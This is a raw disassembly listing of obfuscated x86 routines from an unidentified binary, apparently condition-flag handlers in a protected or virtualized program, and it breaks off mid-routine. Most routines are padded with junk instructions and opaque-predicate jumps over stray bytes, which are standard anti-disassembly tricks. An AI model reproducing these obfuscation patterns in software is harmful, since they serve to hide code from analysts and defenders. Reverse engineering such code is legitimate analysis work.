sub_49FA2C:loc_49FA5Bj sub bh, 6 push eax dec bh dec bh and eax, 800h dec bh sub bh, 0FFh dec bh sub bh, 15h pop eax dec bh and ah, bh mov edx, 15h dec dl dec dl sub dl, 0Ah dec dl dec dl dec dl dec dl dec dl jo short loc_49FAA1 jl short loc_49FA9F loc_49FA9A: ; CODE XREF: sub_49FA2C:loc_49FA9Fj ; sub_49FA2C:loc_49FAA1j jmp short loc_49FAA3 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49FA9F: ; CODE XREF: sub_49FA2C+6Cj jz short loc_49FA9A loc_49FAA1: ; CODE XREF: sub_49FA2C+6Aj jmp short loc_49FA9A ; --------------------------------------------------------------------------- loc_49FAA3: ; CODE XREF: sub_49FA2C:loc_49FA9Aj and al, dl pop ebx pop edx neg eax sbb eax, eax inc eax dec eax jo short loc_49FAB8 jl short loc_49FAB6 loc_49FAB1: ; CODE XREF: sub_49FA2C:loc_49FAB6j ; sub_49FA2C:loc_49FAB8j jmp short loc_49FABA ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49FAB6: ; CODE XREF: sub_49FA2C+83j jz short loc_49FAB1 loc_49FAB8: ; CODE XREF: sub_49FA2C+81j jmp short loc_49FAB1 ; --------------------------------------------------------------------------- loc_49FABA: ; CODE XREF: sub_49FA2C:loc_49FAB1j inc eax dec eax jo short loc_49FAC7 jl short loc_49FAC5 loc_49FAC0: ; CODE XREF: sub_49FA2C:loc_49FAC5j ; sub_49FA2C:loc_49FAC7j jmp short loc_49FAC9 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49FAC5: ; CODE XREF: sub_49FA2C+92j jz short loc_49FAC0 loc_49FAC7: ; CODE XREF: sub_49FA2C+90j jmp short loc_49FAC0 ; --------------------------------------------------------------------------- loc_49FAC9: ; CODE XREF: sub_49FA2C:loc_49FAC0j inc eax dec eax inc eax dec eax jo short loc_49FAD6 jl short loc_49FAD4 loc_49FAD1: ; CODE XREF: sub_49FA2C:loc_49FAD4j ; sub_49FA2C:loc_49FAD6j jmp short loc_49FAD8 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_49FAD4: ; CODE XREF: sub_49FA2C+A3j jz short loc_49FAD1 loc_49FAD6: ; CODE XREF: sub_49FA2C+A1j jmp short loc_49FAD1 ; --------------------------------------------------------------------------- loc_49FAD8: ; CODE XREF: sub_49FA2C:loc_49FAD1j inc eax mov [ebp+var_C], eax mov ecx, dword_4ED3CC xor ecx, dword_4ED3D0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49FAFC mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49FAFC: ; CODE XREF: sub_49FA2C+C5j mov eax, [ebp+var_8] push eax call off_4F1D24 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49FA2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49FB10 proc near ; DATA XREF: sub_4965D8+113o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DB4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Dh dec ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 7 dec ch dec ch and ah, ch mov cl, 77h sub cl, 2 dec cl dec cl dec cl not cl bswap edx not cl bswap edx dec cl dec cl push eax dec cl dec cl sub cl, 14h and eax, 80h dec cl dec cl dec cl add cl, 0Eh dec cl dec cl and eax, 800h sub cl, 21h dec cl not ecx bswap eax not ecx bswap eax pop eax and al, cl mov eax, eax pop ecx neg eax sbb eax, eax neg eax pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED3E4 xor ecx, dword_4ED3E8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49FBBF mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49FBBF: ; CODE XREF: sub_49FB10+A4j mov eax, [ebp+var_8] push eax call off_4F1D3C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49FB10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49FBD3 proc near ; DATA XREF: sub_4965D8+10ECo var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov eax, [ebp+arg_0] push ebx mov ebx, 4 and eax, ebx push ecx mov ch, 10h sub ch, 1 dec ch sub ch, 3 dec ch mov ebx, [ebp+arg_4] dec esi dec edi dec edi xor edx, edx or ebx, edx jz short loc_49FC10 dec edi sub ch, 2 dec ch dec ch sub ch, 8 and eax, 0 jmp short loc_49FC27 ; --------------------------------------------------------------------------- loc_49FC10: ; CODE XREF: sub_49FBD3+2Bj dec edi dec ecx sub ch, 2 dec ch dec ch sub ch, 8 and eax, 0 dec ecx sub ch, 2 dec ch dec edx inc eax loc_49FC27: ; CODE XREF: sub_49FBD3+3Bj mov [ebp+var_8], eax mov eax, dword_4ED3DC xor eax, dword_4ED3E0 shl eax, 1 mov [ebp+var_4], eax cmp [ebp+var_8], 0 jz short loc_49FC49 mov ecx, [ebp+var_4] or ecx, 1 mov [ebp+var_4], ecx loc_49FC49: ; CODE XREF: sub_49FBD3+6Bj mov edx, [ebp+var_4] push edx call off_4F1D34 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49FBD3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49FC5D proc near ; DATA XREF: sub_4965D8+12C8o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DE0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 98h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 0Ch not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx push eax mov eax, [ebp+var_4] mov edx, 0F00h sub dh, 1 dec dh dec dh dec dh dec dh dec dh dec dh and eax, edx neg eax sbb eax, eax inc eax mov edx, eax pop eax xor ecx, ecx cmp eax, edx setz cl mov al, cl mov [ebp+var_C], eax mov ecx, dword_4ED410 xor ecx, dword_4ED414 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49FD18 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49FD18: ; CODE XREF: sub_49FC5D+B0j mov eax, [ebp+var_8] push eax call off_4F1D68 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49FC5D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49FD2C proc near ; DATA XREF: sub_4965D8+1350o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DAC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push eax mov eax, 4 bswap eax not eax pop eax push edx mov dh, 80h mov dh, 0 inc dh mov ecx, ecx inc dh inc dh inc esi inc dh dec edi inc dh dec dh inc dh push ebx inc dh push ecx bswap ecx not ecx push eax not eax mov eax, 800h xchg eax, ecx mov ecx, 40h xchg eax, ecx not eax pop eax not ecx pop ecx inc dh inc dh and ebx, 800h add dh, 4 and ebx, 10h inc dh inc dh pop ebx sub dh, 0Dh dec dh and ah, dh mov dl, 5 sub dl, 0FFh dec dl dec dl inc dl dec dl sub dl, 0FFh dec dl dec dl inc dl dec dl dec dl dec dl and al, dl pop edx neg eax sbb eax, eax inc eax mov [ebp+var_C], eax mov ecx, dword_4ED3DC xor ecx, dword_4ED3E0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49FDEA mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49FDEA: ; CODE XREF: sub_49FD2C+B3j mov eax, [ebp+var_8] push eax call off_4F1D34 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49FD2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49FDFE proc near ; DATA XREF: sub_4965D8+6EBo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D90 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Dh dec ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 7 dec ch dec ch and ah, ch mov cl, 77h sub cl, 2 dec cl dec cl dec cl not cl bswap edx not cl bswap edx dec cl dec cl push eax dec cl dec cl sub cl, 12h dec cl dec cl and eax, 40h dec cl dec cl dec cl add cl, 0Eh dec cl dec cl and eax, 80h sub cl, 1Fh dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax pop eax and al, cl mov eax, eax pop ecx neg eax sbb eax, eax inc eax pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED3C0 xor ecx, dword_4ED3C4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49FEB2 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49FEB2: ; CODE XREF: sub_49FDFE+A9j mov eax, [ebp+var_8] push eax call off_4F1D18 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49FDFE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49FEC6 proc near ; DATA XREF: sub_4965D8+3o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DE4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ecx mov ecx, 800h mov ecx, 4Bh not ecx bswap eax not ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx dec ecx inc ecx inc cl inc cl inc cl add ecx, 0Dh inc cl inc cl inc cl inc cl inc cl add ecx, 0Ah dec ecx push edx mov edx, 4 add ecx, edx inc ecx pop edx bswap eax add ecx, 3 and eax, ecx pop ecx neg eax sbb eax, eax inc eax pop edx push eax mov eax, [ebp+var_4] mov edx, 0E00h sub dh, 1 dec dh dec dh dec dh dec dh dec dh and eax, edx neg eax sbb eax, eax inc eax mov edx, eax pop eax xor ecx, ecx jo short loc_49FF5E jl short loc_49FF5C loc_49FF59: ; CODE XREF: sub_49FEC6:loc_49FF5Cj ; sub_49FEC6:loc_49FF5Ej jmp short loc_49FF60 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_49FF5C: ; CODE XREF: sub_49FEC6+91j jz short loc_49FF59 loc_49FF5E: ; CODE XREF: sub_49FEC6+8Fj jmp short loc_49FF59 ; --------------------------------------------------------------------------- loc_49FF60: ; CODE XREF: sub_49FEC6:loc_49FF59j cmp eax, edx jo short loc_49FF6B jl short loc_49FF69 loc_49FF66: ; CODE XREF: sub_49FEC6:loc_49FF69j ; sub_49FEC6:loc_49FF6Bj jmp short loc_49FF6D ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_49FF69: ; CODE XREF: sub_49FEC6+9Ej jz short loc_49FF66 loc_49FF6B: ; CODE XREF: sub_49FEC6+9Cj jmp short loc_49FF66 ; --------------------------------------------------------------------------- loc_49FF6D: ; CODE XREF: sub_49FEC6:loc_49FF66j jz short loc_49FF80 and eax, 0 jo short loc_49FF7B jl short loc_49FF79 loc_49FF76: ; CODE XREF: sub_49FEC6:loc_49FF79j ; sub_49FEC6:loc_49FF7Bj jmp short loc_49FF7D ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_49FF79: ; CODE XREF: sub_49FEC6+AEj jz short loc_49FF76 loc_49FF7B: ; CODE XREF: sub_49FEC6+ACj jmp short loc_49FF76 ; --------------------------------------------------------------------------- loc_49FF7D: ; CODE XREF: sub_49FEC6:loc_49FF76j inc eax jmp short loc_49FF83 ; --------------------------------------------------------------------------- loc_49FF80: ; CODE XREF: sub_49FEC6:loc_49FF6Dj and eax, 0 loc_49FF83: ; CODE XREF: sub_49FEC6+B8j mov [ebp+var_C], eax mov ecx, dword_4ED414 xor ecx, dword_4ED418 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49FFA6 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49FFA6: ; CODE XREF: sub_49FEC6+D5j mov eax, [ebp+var_8] push eax call off_4F1D6C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49FEC6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49FFBA proc near ; DATA XREF: sub_4965D8+7B7o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D98 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch and ah, ch mov cl, 0AEh sub cl, 2 dec cl dec cl sub cl, 6 not al bswap ecx not al bswap ecx dec cl dec cl sub cl, 10h dec cl dec cl add cl, 0Ch dec cl dec cl dec cl dec cl dec cl dec cl sub cl, 10h sub cl, 1 dec cl dec cl dec cl dec cl dec cl dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax inc cl add cl, 2 and al, cl mov eax, eax pop ecx neg eax sbb eax, eax neg eax pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED3C8 xor ecx, dword_4ED3CC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A0077 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A0077: ; CODE XREF: sub_49FFBA+B2j mov eax, [ebp+var_8] push eax call off_4F1D20 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49FFBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A008B proc near ; DATA XREF: sub_4965D8+1147o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D90 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ecx mov ecx, 800h mov ecx, 0Ah not ecx bswap eax not ecx inc ecx inc ecx inc ecx inc ecx dec edx inc ecx inc ecx dec edx inc ecx inc ecx inc ecx dec edx inc ecx inc ecx inc ecx inc cl dec edx inc ecx inc ecx dec edx inc ecx inc ecx inc cl dec edx inc ecx inc ecx inc ecx dec ecx dec edx dec edx inc ecx inc cl inc cl dec dl inc cl add ecx, 0Bh inc cl inc cl inc cl inc cl inc cl add ecx, 0Ah dec ecx push edx mov edx, 4 add ecx, edx inc ecx pop edx bswap eax and eax, ecx pop ecx neg eax sbb eax, eax neg eax mov [ebp+var_C], eax mov ecx, dword_4ED3C0 xor ecx, dword_4ED3C4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A012A mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A012A: ; CODE XREF: sub_4A008B+94j mov eax, [ebp+var_8] push eax call off_4F1D18 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A008B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A013E proc near ; DATA XREF: sub_4965D8+F27o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DE4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] jo short loc_4A0163 jl short loc_4A0161 loc_4A015E: ; CODE XREF: sub_4A013E:loc_4A0161j ; sub_4A013E:loc_4A0163j jmp short loc_4A0165 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4A0161: ; CODE XREF: sub_4A013E+1Ej jz short loc_4A015E loc_4A0163: ; CODE XREF: sub_4A013E+1Cj jmp short loc_4A015E ; --------------------------------------------------------------------------- loc_4A0165: ; CODE XREF: sub_4A013E:loc_4A015Ej push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch and ah, ch mov cl, 70h sub cl, 2 dec cl dec cl dec cl sub cl, 6 not al bswap ecx not al bswap ecx dec cl dec cl sub cl, 10h dec cl dec cl add cl, 0Ch dec cl dec cl dec cl jo short loc_4A01B9 jl short loc_4A01B7 loc_4A01B4: ; CODE XREF: sub_4A013E:loc_4A01B7j ; sub_4A013E:loc_4A01B9j jmp short loc_4A01BB ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_4A01B7: ; CODE XREF: sub_4A013E+74j jz short loc_4A01B4 loc_4A01B9: ; CODE XREF: sub_4A013E+72j jmp short loc_4A01B4 ; --------------------------------------------------------------------------- loc_4A01BB: ; CODE XREF: sub_4A013E:loc_4A01B4j dec cl dec cl dec cl dec cl sub cl, 10h sub cl, 1 dec cl dec cl dec cl dec cl dec cl dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax inc cl add cl, 2 and al, cl mov eax, eax pop ecx pop ebx test eax, eax jnz loc_4A02F7 mov eax, [ebp+var_4] jo short loc_4A0200 jl short loc_4A01FE loc_4A01FB: ; CODE XREF: sub_4A013E:loc_4A01FEj ; sub_4A013E:loc_4A0200j jmp short loc_4A0202 ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- loc_4A01FE: ; CODE XREF: sub_4A013E+BBj jz short loc_4A01FB loc_4A0200: ; CODE XREF: sub_4A013E+B9j jmp short loc_4A01FB ; --------------------------------------------------------------------------- loc_4A0202: ; CODE XREF: sub_4A013E:loc_4A01FBj push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh jo short loc_4A0231 jl short loc_4A022F loc_4A022C: ; CODE XREF: sub_4A013E:loc_4A022Fj ; sub_4A013E:loc_4A0231j jmp short loc_4A0233 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4A022F: ; CODE XREF: sub_4A013E+ECj jz short loc_4A022C loc_4A0231: ; CODE XREF: sub_4A013E+EAj jmp short loc_4A022C ; --------------------------------------------------------------------------- loc_4A0233: ; CODE XREF: sub_4A013E:loc_4A022Cj mov bl, 0C6h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 1Ah dec bl sub bl, 1Fh not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov ecx, eax push ecx mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1Fh pop ebx jo short loc_4A0280 jl short loc_4A027E loc_4A0279: ; CODE XREF: sub_4A013E:loc_4A027Ej ; sub_4A013E:loc_4A0280j jmp short loc_4A0282 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4A027E: ; CODE XREF: sub_4A013E+139j jz short loc_4A0279 loc_4A0280: ; CODE XREF: sub_4A013E+137j jmp short loc_4A0279 ; --------------------------------------------------------------------------- loc_4A0282: ; CODE XREF: sub_4A013E:loc_4A0279j sub bl, 5 dec bl push eax dec bl dec bl jo short loc_4A0295 jl short loc_4A0293 loc_4A0290: ; CODE XREF: sub_4A013E:loc_4A0293j ; sub_4A013E:loc_4A0295j jmp short loc_4A0297 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4A0293: ; CODE XREF: sub_4A013E+150j jz short loc_4A0290 loc_4A0295: ; CODE XREF: sub_4A013E+14Ej jmp short loc_4A0290 ; --------------------------------------------------------------------------- loc_4A0297: ; CODE XREF: sub_4A013E:loc_4A0290j and eax, 40h dec bl sub bl, 12h sub bl, 3 pop eax dec bl and al, bl mov edx, 1200h dec dh sub dh, 1 dec dh sub dh, 7 and ah, dh pop ebx pop edx neg eax sbb eax, eax inc eax dec eax jo short loc_4A02CB jl short loc_4A02C9 loc_4A02C4: ; CODE XREF: sub_4A013E:loc_4A02C9j ; sub_4A013E:loc_4A02CBj jmp short loc_4A02CD ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4A02C9: ; CODE XREF: sub_4A013E+184j jz short loc_4A02C4 loc_4A02CB: ; CODE XREF: sub_4A013E+182j jmp short loc_4A02C4 ; --------------------------------------------------------------------------- loc_4A02CD: ; CODE XREF: sub_4A013E:loc_4A02C4j inc eax dec eax jo short loc_4A02DA jl short loc_4A02D8 loc_4A02D3: ; CODE XREF: sub_4A013E:loc_4A02D8j ; sub_4A013E:loc_4A02DAj jmp short loc_4A02DC ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4A02D8: ; CODE XREF: sub_4A013E+193j jz short loc_4A02D3 loc_4A02DA: ; CODE XREF: sub_4A013E+191j jmp short loc_4A02D3 ; --------------------------------------------------------------------------- loc_4A02DC: ; CODE XREF: sub_4A013E:loc_4A02D3j inc eax dec eax inc eax dec eax jo short loc_4A02E9 jl short loc_4A02E7 loc_4A02E4: ; CODE XREF: sub_4A013E:loc_4A02E7j ; sub_4A013E:loc_4A02E9j jmp short loc_4A02EB ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4A02E7: ; CODE XREF: sub_4A013E+1A4j jz short loc_4A02E4 loc_4A02E9: ; CODE XREF: sub_4A013E+1A2j jmp short loc_4A02E4 ; --------------------------------------------------------------------------- loc_4A02EB: ; CODE XREF: sub_4A013E:loc_4A02E4j inc eax pop ecx cmp ecx, eax jnz short loc_4A02F7 and eax, 0 inc eax jmp short loc_4A02FA ; --------------------------------------------------------------------------- loc_4A02F7: ; CODE XREF: sub_4A013E+B0j ; sub_4A013E+1B1j and eax, 0 loc_4A02FA: ; CODE XREF: sub_4A013E+1B7j mov [ebp+var_C], eax mov ecx, dword_4ED414 xor ecx, dword_4ED418 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A031D mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A031D: ; CODE XREF: sub_4A013E+1D4j mov eax, [ebp+var_8] push eax call off_4F1D6C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A013E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A0331 proc near ; DATA XREF: sub_4965D8+14A4o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DA8 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] jo short loc_4A0356 jl short loc_4A0354 loc_4A0351: ; CODE XREF: sub_4A0331:loc_4A0354j ; sub_4A0331:loc_4A0356j jmp short loc_4A0358 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4A0354: ; CODE XREF: sub_4A0331+1Ej jz short loc_4A0351 loc_4A0356: ; CODE XREF: sub_4A0331+1Cj jmp short loc_4A0351 ; --------------------------------------------------------------------------- loc_4A0358: ; CODE XREF: sub_4A0331:loc_4A0351j push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 dec edi inc esi sub ch, 20h dec edi inc esi dec ch dec ch dec edi inc esi sub ch, 4 dec ch sub ch, 3 dec ch and ah, ch mov cl, 70h sub cl, 2 dec cl dec cl dec cl dec edi inc esi sub cl, 6 not al dec edi inc esi bswap ecx not al bswap ecx dec cl dec cl sub cl, 12h add cl, 0Bh dec cl dec cl jo short loc_4A03B0 jl short loc_4A03AE loc_4A03AB: ; CODE XREF: sub_4A0331:loc_4A03AEj ; sub_4A0331:loc_4A03B0j jmp short loc_4A03B2 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_4A03AE: ; CODE XREF: sub_4A0331+78j jz short loc_4A03AB loc_4A03B0: ; CODE XREF: sub_4A0331+76j jmp short loc_4A03AB ; --------------------------------------------------------------------------- loc_4A03B2: ; CODE XREF: sub_4A0331:loc_4A03ABj dec cl dec cl dec edi inc esi dec cl dec cl sub cl, 10h sub cl, 1 dec edi inc esi dec cl dec cl dec cl and eax, 0 inc eax dec cl dec cl dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax inc cl add cl, 2 pop ecx pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED3D8 xor ecx, dword_4ED3DC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A040A mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A040A: ; CODE XREF: sub_4A0331+CEj mov eax, [ebp+var_8] push eax call off_4F1D30 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A0331 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A041E proc near ; DATA XREF: sub_4965D8+12DFo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D84 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] jo short loc_4A0443 jl short loc_4A0441 loc_4A043E: ; CODE XREF: sub_4A041E:loc_4A0441j ; sub_4A041E:loc_4A0443j jmp short loc_4A0445 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4A0441: ; CODE XREF: sub_4A041E+1Ej jz short loc_4A043E loc_4A0443: ; CODE XREF: sub_4A041E+1Cj jmp short loc_4A043E ; --------------------------------------------------------------------------- loc_4A0445: ; CODE XREF: sub_4A041E:loc_4A043Ej push edx mov dh, 2 jo short loc_4A0451 jl short loc_4A044F loc_4A044C: ; CODE XREF: sub_4A041E:loc_4A044Fj ; sub_4A041E:loc_4A0451j jmp short loc_4A0453 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4A044F: ; CODE XREF: sub_4A041E+2Cj jz short loc_4A044C loc_4A0451: ; CODE XREF: sub_4A041E+2Aj jmp short loc_4A044C ; --------------------------------------------------------------------------- loc_4A0453: ; CODE XREF: sub_4A041E:loc_4A044Cj dec dh dec dh and ah, dh mov dl, 1 and al, dl not ah not ah pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3B4 xor ecx, dword_4ED3B8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A0485 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A0485: ; CODE XREF: sub_4A041E+5Cj mov eax, [ebp+var_8] push eax call off_4F1D0C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A041E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A0499 proc near ; DATA XREF: sub_4965D8+8Bo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DC4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ecx mov ecx, 800h mov ecx, 0Ch not ecx bswap eax not ecx inc ecx dec ecx inc ecx dec ecx dec ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx dec ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx dec ecx inc ecx dec ecx inc ecx dec ecx inc ecx dec ecx inc ecx dec ecx inc ecx dec ecx inc ecx inc ecx inc cl inc cl inc cl add ecx, 0Dh inc cl inc cl inc cl inc cl inc cl add ecx, 0Ah dec ecx push edx mov edx, 4 add ecx, edx inc ecx pop edx bswap eax and eax, ecx pop ecx pop edx test eax, eax jnz loc_4A0610 mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch and ah, ch mov cl, 0AEh sub cl, 2 dec cl dec cl sub cl, 6 not al bswap ecx not al bswap ecx dec cl dec cl sub cl, 10h dec cl dec cl 